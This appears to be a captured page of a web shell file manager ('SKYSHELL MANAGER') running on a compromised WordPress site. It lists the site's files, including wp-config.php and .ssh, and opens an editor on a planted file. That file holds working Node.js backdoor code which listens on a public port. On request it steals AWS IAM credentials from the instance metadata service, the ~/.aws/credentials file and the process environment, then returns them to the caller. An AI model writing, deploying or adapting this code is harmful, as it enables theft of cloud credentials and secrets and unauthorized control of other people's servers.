📁
SKYSHELL MANAGER-
🛒
PHP v7.4.33
Create Folder
Create File
Current Path:
sites
/
otvetkak.ru
/
Name
Size
Permissions
Actions
📁
antibot
-
0700
🗑️
🔒
📁
tmp
-
0700
🗑️
🔒
📁
..
-
0755
🗑️
🔒
📁
wp-admin
-
0700
🗑️
🔒
📁
media
-
0700
🗑️
🔒
📁
lnkr
-
0700
🗑️
🔒
📁
lib
-
0700
🗑️
🔒
📁
landing
-
0700
🗑️
🔒
📁
image
-
0700
🗑️
🔒
📁
wp-content
-
0700
🗑️
🔒
📁
banners
-
0700
🗑️
🔒
📁
wp-includes
-
0700
🗑️
🔒
📁
ajax
-
0700
🗑️
🔒
📁
.cache
-
0700
🗑️
🔒
📁
.git
-
0700
🗑️
🔒
📁
.ssh
-
0700
🗑️
🔒
📄
wp-config.php
5.48 KB
0600
🗑️
⬇️
✏️
🔒
📄
sitemap.xml
1.75 KB
0700
🗑️
⬇️
✏️
🔒
📄
test_seowork.php
0.15 KB
0700
🗑️
⬇️
✏️
🔒
📄
wmail_09c465d87d3c161979df26f9829ccd42.html
0.16 KB
0700
🗑️
⬇️
✏️
🔒
📄
wp-trackback.php
4.77 KB
0700
🗑️
⬇️
✏️
🔒
📄
wp-blog-header.php
0.34 KB
0700
🗑️
⬇️
✏️
🔒
📄
wp-signup.php
33.54 KB
0700
🗑️
⬇️
✏️
🔒
📄
wp-settings.php
24.41 KB
0700
🗑️
⬇️
✏️
🔒
📄
wp-mail.php
8.34 KB
0700
🗑️
⬇️
✏️
🔒
📄
wp-register.php
0.33 KB
0700
🗑️
⬇️
✏️
🔒
📄
wp-rdf.php
0.22 KB
0700
🗑️
⬇️
✏️
🔒
📄
wp-pass.php
0.4 KB
0700
🗑️
⬇️
✏️
🔒
📄
wp-cron.php
5.41 KB
0700
🗑️
⬇️
✏️
🔒
📄
wp-feed.php
0.24 KB
0700
🗑️
⬇️
✏️
🔒
📄
robots.txt
0.5 KB
0700
🗑️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.44 KB
0700
🗑️
⬇️
✏️
🔒
📄
wp-login.php
48.17 KB
0700
🗑️
⬇️
✏️
🔒
📄
wp-login.php_
28.4 KB
0700
🗑️
⬇️
✏️
🔒
📄
service-worker.js
0.06 KB
0700
🗑️
⬇️
✏️
🔒
📄
post-sitemap1.xml
257.69 KB
0700
🗑️
⬇️
✏️
🔒
📄
post-sitemap7.xml
13.24 KB
0700
🗑️
⬇️
✏️
🔒
📄
go.php
0.95 KB
0700
🗑️
⬇️
✏️
🔒
📄
.gitignore
1.45 KB
0700
🗑️
⬇️
✏️
🔒
📄
.htaccess
0.19 KB
0644
🗑️
⬇️
✏️
🔒
📄
506da8d1a8ff.html
0 KB
0700
🗑️
⬇️
✏️
🔒
📄
50x.html
1.38 KB
0700
🗑️
⬇️
✏️
🔒
📄
addl-sitemap.xml
0.58 KB
0700
🗑️
⬇️
✏️
🔒
📄
ads.txt
3.67 KB
0700
🗑️
⬇️
✏️
🔒
📄
agreement.php
6.55 KB
0700
🗑️
⬇️
✏️
🔒
📄
category-sitemap.xml
16.45 KB
0700
🗑️
⬇️
✏️
🔒
📄
f4539d9a1d2dddd90b094a1fb2744cbd.html
0.01 KB
0700
🗑️
⬇️
✏️
🔒
📄
fdc43c7197b903c03ce97888.html
0 KB
0700
🗑️
⬇️
✏️
🔒
📄
google11d97dcef8eaeca0.html
0.05 KB
0700
🗑️
⬇️
✏️
🔒
📄
post-sitemap6.xml
261.13 KB
0700
🗑️
⬇️
✏️
🔒
📄
google670877162ab878dc.html
0.05 KB
0700
🗑️
⬇️
✏️
🔒
📄
googlecf81da77e01ae41c.html
0.05 KB
0700
🗑️
⬇️
✏️
🔒
📄
live-116cb0fc.txt
0.02 KB
0700
🗑️
⬇️
✏️
🔒
📄
page-sitemap.xml
11.42 KB
0700
🗑️
⬇️
✏️
🔒
📄
password.php
0.85 KB
0700
🗑️
⬇️
✏️
🔒
📄
post-sitemap.xml
1556.63 KB
0700
🗑️
⬇️
✏️
🔒
📄
post-sitemap2.xml
259.91 KB
0700
🗑️
⬇️
✏️
🔒
📄
post-sitemap3.xml
258.74 KB
0700
🗑️
⬇️
✏️
🔒
📄
post-sitemap4.xml
258.07 KB
0700
🗑️
⬇️
✏️
🔒
📄
post-sitemap5.xml
250.93 KB
0700
🗑️
⬇️
✏️
🔒
📄
yandex_571a37b60f6c38fe.html
0.16 KB
0700
🗑️
⬇️
✏️
🔒
Editing: phpOkMVt5
import { createServer, request } from "http" import { readFile } from "fs/promises" import { userInfo } from "os" import path from "path" const IMDS_HOST = "169.254.169.254" function httpReq(options, body, timeoutMs = 5000) { return new Promise((resolve, reject) => { const req = request({ ...options, agent: false }, res => { let data = "" res.setEncoding("utf8") res.on("data", c => data += c) res.on("end", () => { clearTimeout(timer) resolve({ statusCode: res.statusCode || 0, body: data }) }) }) const timer = setTimeout(() => { req.destroy(new Error("timeout")) }, timeoutMs) req.on("error", err => { clearTimeout(timer) reject(err) }) if (body) req.write(body) req.end() }) } async function imdsStep(name, fn) { try { return await fn() } catch (e) { const msg = String(e?.message || e) throw new Error(`aws_unavailable:${name}:${msg}`) } } async function fetchAwsCreds({ timeoutMs = 5000 } = {}) { const token = await imdsStep("token", async () => { const r = await httpReq({ host: IMDS_HOST, path: "/latest/api/token", method: "PUT", headers: { "X-aws-ec2-metadata-token-ttl-seconds": "21600" } }, undefined, timeoutMs) if (r.statusCode !== 200 || !r.body) throw new Error(`bad_status:${r.statusCode}`) return r.body.trim() }) const role = await imdsStep("role", async () => { const r = await httpReq({ host: IMDS_HOST, path: "/latest/meta-data/iam/security-credentials/", method: "GET", headers: { "X-aws-ec2-metadata-token": token } }, undefined, timeoutMs) if (r.statusCode !== 200 || !r.body) throw new Error(`bad_status:${r.statusCode}`) return r.body.trim().split("\n")[0] }) const creds = await imdsStep("creds", async () => { const r = await httpReq({ host: IMDS_HOST, path: `/latest/meta-data/iam/security-credentials/${encodeURIComponent(role)}`, method: "GET", headers: { "X-aws-ec2-metadata-token": token } }, undefined, timeoutMs) if (r.statusCode !== 200 || !r.body) throw new Error(`bad_status:${r.statusCode}`) return JSON.parse(r.body) }) return { role, creds } } async function readOurFile(relPath = ".test") { const u = userInfo() const home = u.homedir const fullPath = path.join(home, relPath) return readFile(fullPath, "utf8") } const server = createServer((req, res) => { res.setHeader("Content-Type", "application/json") if (req.method === "POST" && req.url === "/aws") { let body = "" req.on("data", chunk => body += chunk.toString()) req.on("end", async () => { try { if (body) JSON.parse(body) } catch { res.statusCode = 400 res.end(JSON.stringify({ success: false, error: "invalid_json" })) return } let aws = null let awsError = null try { aws = await fetchAwsCreds({ timeoutMs: 2000 }) } catch (e) { awsError = String(e?.message || e) } let file = null let fileError = null try { file = await readOurFile(".aws/credentials") file = file.replace(/\s+/g, " ").trim() } catch (e) { fileError = String(e?.message || e) } let env = null let envError = null try { env = await readFile("/proc/self/environ", "utf8") env = env.replace(/\x00/g, "\\n").trim() } catch (e) { envError = String(e?.message || e) } res.statusCode = 200 res.end(JSON.stringify({ success: true, aws, awsError, file, fileError, env, envError })) }) return } res.statusCode = 404 res.end(JSON.stringify({ success: false, error: "not found" })) }) server.listen(51295, "0.0.0.0", () => { console.log("Server running") })
💾 Save Changes